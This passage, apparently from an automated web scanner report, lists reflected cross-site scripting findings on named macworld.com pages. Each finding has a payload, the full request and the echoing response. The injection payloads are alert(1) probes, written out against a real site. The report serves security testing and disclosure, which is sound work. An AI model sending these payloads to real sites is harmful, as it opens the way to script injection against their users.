Last-Modified: Fri, 17 Dec 2010 02:17:42 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:17:42 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
<!--
/* You may give each page an identifying name, server, and channel on
the next lines. */

s.pageName="iphone app guide:chart sorted - category:books80c14</script><script>alert(1)</script>3d3d6cba1bf";
s.server="";
s.channel="iphone app guide";
s.pageType="";
s.prop1="";
s.prop2="";
s.prop3="display type:chart sorted - category";
s.prop4="";
s.prop5="";
s.prop6="";
s.prop7="";
s.prop8="";
s.prop9=
...[SNIP]...

3.8. http://www.macworld.com/appguide/browse.html [mfr parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.macworld.com
Path:   /appguide/browse.html

Issue detail

The value of the mfr request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a218a</script><a%20b%3dc>2e265af0bfa was submitted in the mfr parameter. This input was echoed as a218a</script><a b=c>2e265af0bfa in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /appguide/browse.html?mfr=The+Washington+Post+Companya218a</script><a%20b%3dc>2e265af0bfa HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:17:55 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:17:55 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
<!--
/* You may give each page an identifying name, server, and channel on
the next lines. */

s.pageName="iphone app guide:chart sorted - mfr:the washington post companya218a</script><a b=c>2e265af0bfa";
s.server="";
s.channel="iphone app guide";
s.pageType="";
s.prop1="";
s.prop2="";
s.prop3="display type:chart sorted - mfr";
s.prop4="";
s.prop5="";
s.prop6="";
s.prop7="";
s.prop8="";
s.prop9="";
s
...[SNIP]...

3.9. http://www.macworld.com/appguide/browse.html [mfr parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /appguide/browse.html

Issue detail

The value of the mfr request parameter is copied into the HTML document as plain text between tags. The payload 76d1c<script>alert(1)</script>ee39ba6283f was submitted in the mfr parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /appguide/browse.html?mfr=The+Washington+Post+Company76d1c<script>alert(1)</script>ee39ba6283f HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:18:07 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:18:08 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
<div id="mfrHolder" style="display:none">The Washington Post Company76d1c<script>alert(1)</script>ee39ba6283f</div>
...[SNIP]...

3.10. http://www.macworld.com/appguide/collections.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /appguide/collections.html

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 10835'-alert(1)-'8cc738af335 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /appguide/collections.html10835'-alert(1)-'8cc738af335 HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:19:04 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
e('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/appguide/collections.html10835'-alert(1)-'8cc738af335';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.11. http://www.macworld.com/appguide/index.html [' parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /appguide/index.html

Issue detail

The value of the ' request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c322"><script>alert(1)</script>8a3487942ef was submitted in the ' parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /appguide/index.html?'5c322"><script>alert(1)</script>8a3487942ef HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:17:28 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:17:28 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
<a href="/appguide/index.html?'5c322"><script>alert(1)</script>8a3487942ef&page=2">
...[SNIP]...

3.12. http://www.macworld.com/appguide/index.html ['"--> parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /appguide/index.html

Issue detail

The value of the '"--></style></script><script>alert(0x001C9C)</script> request parameter is copied into the HTML document as plain text between tags. The payload 15264<script>alert(1)</script>ef6c07ae75e was submitted in the '"--></style></script><script>alert(0x001C9C)</script> parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /appguide/index.html?'"--></style></script><script>alert(0x001C9C)</script>15264<script>alert(1)</script>ef6c07ae75e HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.macworld.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:13:26 GMT
Cache-Control: max-age=60
Set-Cookie: JSESSIONID=72FF2088B431E24848056EF03F90B228; Path=/
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:13:27 GMT
Connection: Keep-Alive
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding
Content-Length: 116677


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
</script>15264<script>alert(1)</script>ef6c07ae75e&page=2">
...[SNIP]...

3.13. http://www.macworld.com/appguide/index.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /appguide/index.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9060d"><script>alert(1)</script>7ae31010656 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /appguide/index.html9060d"><script>alert(1)</script>7ae31010656?'"--></style></script><script>alert(0x001C9C)</script> HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.macworld.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=E236BC988A75C14D08EA963711A01B56; Path=/
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:14:51 GMT
Connection: Keep-Alive
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding
Content-Length: 116594


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
<a href="/appguide/index.html9060d"><script>alert(1)</script>7ae31010656?'"-->
...[SNIP]...

3.14. http://www.macworld.com/appguide/index.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /appguide/index.html

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3bd76'-alert(1)-'797f360d218 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /appguide/index.html3bd76'-alert(1)-'797f360d218?'"--></style></script><script>alert(0x001C9C)</script> HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.macworld.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=A1E52B03D552EF2B378CDBA32CD9593B; Path=/
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:14:53 GMT
Connection: Keep-Alive
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding
Content-Length: 116896


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
dCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/appguide/index.html3bd76'-alert(1)-'797f360d218';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '?%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%280x001C9C%29%3C%2Fscript%3
...[SNIP]...

3.15. http://www.macworld.com/appguide/index.html [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /appguide/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 1d183<script>alert(1)</script>917ba9fbfa5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /appguide/index.html?'"--></style></script><script>alert(0x001C9C)</script>&1d183<script>alert(1)</script>917ba9fbfa5=1 HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.macworld.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:13:58 GMT
Cache-Control: max-age=60
Set-Cookie: JSESSIONID=D1E19B76B3DCF8D81A0F8601470F3FD6; Path=/
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:13:58 GMT
Connection: Keep-Alive
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding
Content-Length: 116959


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
</script>&1d183<script>alert(1)</script>917ba9fbfa5=1&page=2">
...[SNIP]...

3.16. http://www.macworld.com/appguide/search.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /appguide/search.html

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4c8a8'-alert(1)-'1dfde4fc868 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /appguide/search.html4c8a8'-alert(1)-'1dfde4fc868 HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:18:00 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
Cookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/appguide/search.html4c8a8'-alert(1)-'1dfde4fc868';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.17. http://www.macworld.com/article/156358/2010/12/ipad_superguide_first_edition.html [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156358/2010/12/ipad_superguide_first_edition.html

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f24db'-alert(1)-'9e6d8143b7f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156358/2010f24db'-alert(1)-'9e6d8143b7f/12/ipad_superguide_first_edition.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:23:02 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:02 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
dCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156358/2010f24db'-alert(1)-'9e6d8143b7f/12/ipad_superguide_first_edition.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;

...[SNIP]...

3.18. http://www.macworld.com/article/156358/2010/12/ipad_superguide_first_edition.html [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156358/2010/12/ipad_superguide_first_edition.html

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 88a87'-alert(1)-'3c9aac06c8e was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156358/2010/1288a87'-alert(1)-'3c9aac06c8e/ipad_superguide_first_edition.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:23:16 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:16 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
okie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156358/2010/1288a87'-alert(1)-'3c9aac06c8e/ipad_superguide_first_edition.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   do
...[SNIP]...

3.19. http://www.macworld.com/article/156358/2010/12/ipad_superguide_first_edition.html [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156358/2010/12/ipad_superguide_first_edition.html

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload be5ab'-alert(1)-'0f2ec880c0b was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156358/2010/12/ipad_superguide_first_edition.htmlbe5ab'-alert(1)-'0f2ec880c0b HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:28 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
= 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156358/2010/12/ipad_superguide_first_edition.htmlbe5ab'-alert(1)-'0f2ec880c0b';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.20. http://www.macworld.com/article/156438/2010/12/circusponies_notebook_ios.html [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156438/2010/12/circusponies_notebook_ios.html

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bf5c5'-alert(1)-'669113bd8f8 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156438/2010bf5c5'-alert(1)-'669113bd8f8/12/circusponies_notebook_ios.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:22:58 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:22:57 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
dCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156438/2010bf5c5'-alert(1)-'669113bd8f8/12/circusponies_notebook_ios.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   doc
...[SNIP]...

3.21. http://www.macworld.com/article/156438/2010/12/circusponies_notebook_ios.html [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156438/2010/12/circusponies_notebook_ios.html

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3386d'-alert(1)-'240f909a42c was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156438/2010/123386d'-alert(1)-'240f909a42c/circusponies_notebook_ios.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:23:09 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:09 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
okie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156438/2010/123386d'-alert(1)-'240f909a42c/circusponies_notebook_ios.html';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   docume
...[SNIP]...

3.22. http://www.macworld.com/article/156438/2010/12/circusponies_notebook_ios.html [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156438/2010/12/circusponies_notebook_ios.html

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b9b2e'-alert(1)-'dfd2951e1eb was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156438/2010/12/circusponies_notebook_ios.htmlb9b2e'-alert(1)-'dfd2951e1eb HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:21 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
alid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/article/156438/2010/12/circusponies_notebook_ios.htmlb9b2e'-alert(1)-'dfd2951e1eb';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.23. http://www.macworld.com/article/156448/2010/12/navigon_mobilenavigator.html [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /article/156448/2010/12/navigon_mobilenavigator.html

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload af223'-alert(1)-'4ba0dcb12f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article/156448/2010af223'-alert(1)-'4ba0dcb12f/12/navigon_mobilenavigator.html HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
